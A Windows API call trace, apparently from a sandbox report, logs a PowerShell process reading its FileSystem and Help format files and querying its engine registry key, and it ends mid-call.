CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xb34dd10f, Data2=0x3ddf, Data3=0x48e2, Data4=([0]=0x8b, [1]=0x75, [2]=0x7a, [3]=0x92, [4]=0xec, [5]=0x26, [6]=0x49, [7]=0xb8))) returned 0x0 [0054.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0054.822] SetErrorMode (uMode=0x1) returned 0x1 [0054.822] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.822] GetFileType (hFile=0x30c) returned 0x1 [0054.822] SetErrorMode (uMode=0x1) returned 0x1 [0054.823] GetFileType (hFile=0x30c) returned 0x1 [0054.823] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.823] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.824] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.824] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.825] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.825] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.825] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x119, lpOverlapped=0x0) returned 1 [0054.825] ReadFile (in: hFile=0x30c, lpBuffer=0x34d6048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x34d6048*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0054.825] SetErrorMode (uMode=0x1) returned 0x1 [0054.825] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0054.825] SetErrorMode (uMode=0x1) returned 0x1 [0054.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0054.825] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.826] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.826] CoTaskMemAlloc (cb=0x5a) returned 0x1b785e10 [0054.826] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785e10, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.826] CoTaskMemFree (pv=0x1b785e10) [0054.826] RegCloseKey (hKey=0x30c) returned 0x0 [0054.826] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0054.826] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22ce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0054.827] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.827] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.827] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.828] VirtualQuery (in: lpAddress=0x22bde0, lpBuffer=0x22cca0, dwLength=0x30 | out: lpBuffer=0x22cca0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.828] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x61a5263a, Data2=0x7c56, Data3=0x4efe, Data4=([0]=0x97, [1]=0xce, [2]=0x1d, [3]=0xf3, [4]=0x90, [5]=0x86, [6]=0x32, [7]=0x6))) returned 0x0 [0054.828] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.828] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x964dc2b6, Data2=0xc295, Data3=0x41d5, Data4=([0]=0x8f, [1]=0x9b, [2]=0xc8, [3]=0x15, [4]=0xfd, [5]=0x93, [6]=0xb6, [7]=0x95))) returned 0x0 [0054.829] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x940f334f, Data2=0x7c30, Data3=0x4cfa, Data4=([0]=0xad, [1]=0x72, [2]=0xc9, [3]=0x6d, [4]=0x9, [5]=0x96, [6]=0x48, [7]=0x7c))) returned 0x0 [0054.829] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x6332dcb6, Data2=0x331d, Data3=0x42e5, Data4=([0]=0x88, [1]=0xbf, [2]=0x49, [3]=0xf4, [4]=0x52, [5]=0x80, [6]=0xba, [7]=0x41))) returned 0x0 [0054.829] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.829] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.829] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x22cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0054.829] SetErrorMode (uMode=0x1) returned 0x1 [0054.829] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.830] GetFileType (hFile=0x30c) returned 0x1 [0054.830] SetErrorMode (uMode=0x1) returned 0x1 [0054.830] GetFileType (hFile=0x30c) returned 0x1 [0054.830] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.830] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.831] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.831] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.832] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.832] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.832] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.832] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.833] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.833] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.834] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.834] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.834] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.834] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.834] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.834] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.836] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.836] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.836] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.837] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.838] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.838] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.838] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.838] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.838] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.838] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.841] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.841] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.841] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.842] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.843] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.843] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.843] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.843] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.843] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x35321e8*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.845] ReadFile (in: hFile=0x30c, lpBuffer=0x35321e8, 